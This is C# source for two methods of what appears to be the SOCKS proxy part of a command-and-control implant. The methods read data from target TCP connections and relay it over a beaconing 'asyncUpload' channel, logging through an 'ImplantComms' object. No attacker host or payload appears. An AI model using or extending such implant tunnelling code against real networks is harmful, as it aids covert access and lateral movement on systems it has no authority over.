public void ReadFromSocket() { var arrayBuffer = new byte[512000]; var bytectr = 0; while (!Cancel.IsCancellationRequested) { foreach (var key in Targets.Keys) { TargetInfo trget = null; try { if (Targets.ContainsKey(key)) { trget = Targets[key]; } if (!trget.Exit) { var stream = trget.TargetTcpClient.GetStream(); if (Cancel.IsCancellationRequested || trget.Exit) { return; } if (IsConnected(trget.TargetTcpClient.Client)) { if (stream.CanRead && stream.DataAvailable) { int ctr = 0; bytectr = 0; do { var bytesRead = stream.Read(arrayBuffer, 0, 512000); bytectr += bytesRead; if (bytesRead > 0) { TotalBytesRead += bytesRead; trget.ReadQueue.Enqueue(arrayBuffer.Take(bytesRead).ToList()); } ctr++; } while (!_timeout.WaitOne(10) && stream.CanRead && stream.DataAvailable); if (ctr >= 1) { RecvedData.Set(); ImplantComms.LogMessage($"[{trget.TargetId}] Socks {trget.TargetTcpClient.Client.RemoteEndPoint.ToString()} read {bytectr} available bytes"); } } } else if (null != trget) { trget.Exit = true; } } } catch { if (null != trget) { trget.Exit = true; } } if (trget?.Exit ?? true) { try { if (null != trget?.TargetTcpClient) { trget.TargetTcpClient.Close(); } } catch { /*Dont relly care if exception thrown here*/ } if (Targets.ContainsKey(key)) { Targets.TryRemove(key, out TargetInfo tgexit); } ImplantComms.LogMessage($"[{trget.TargetId}] Connection has been closed"); } } _timeout.WaitOne(100); } }
public void SendToTarget() { var SendWait = new ManualResetEvent(false); while (!Cancel.IsCancellationRequested) { RecvedData.WaitOne(-1);; RecvedData.Reset(); foreach (var key in Targets.Keys) { TargetInfo trget = null; try { if (Targets.ContainsKey(key)) { trget = Targets[key]; } if (null != trget && !trget.Exit) { List <byte> readPyld = null; var payload = new List <byte>(); while (trget.ReadQueue.Count > 0) { trget.ReadQueue.TryDequeue(out readPyld); payload.AddRange(readPyld); } if (payload.Count > 0) { Task.Factory.StartNew(() => { List <byte> toSend = null; try { toSend = CmdCommshandler.Send(trget, "asyncUpload", payload, out bool connectionDead); ImplantComms.LogMessage($"[{trget.TargetId}] Received {toSend?.Count() ?? 0} bytes after sending {payload?.Count ?? 0 } bytes"); if (null == toSend || connectionDead) { ImplantComms.LogError($"[{trget.TargetId}] Connection looks dead EXITING"); trget.Exit = true; } else if (toSend.Count > 0) { trget.WriteQueue.Enqueue(toSend); SentData.Set(); } } catch { trget.Exit = true; ImplantComms.LogError($"[{trget.TargetId}] Couldn't send {toSend?.Count()} bytes"); } }); ImplantComms.LogMessage($"[{trget.TargetId}] {payload?.Count() ?? 0} bytes arrived from target about to send back"); } } SendWait.WaitOne(BeaconTime); } catch (Exception ex) { if (null != trget) { trget.Exit = true; } ImplantComms.LogError($"[{trget.TargetId}] Error during Send Data loop {ex}"); } } } }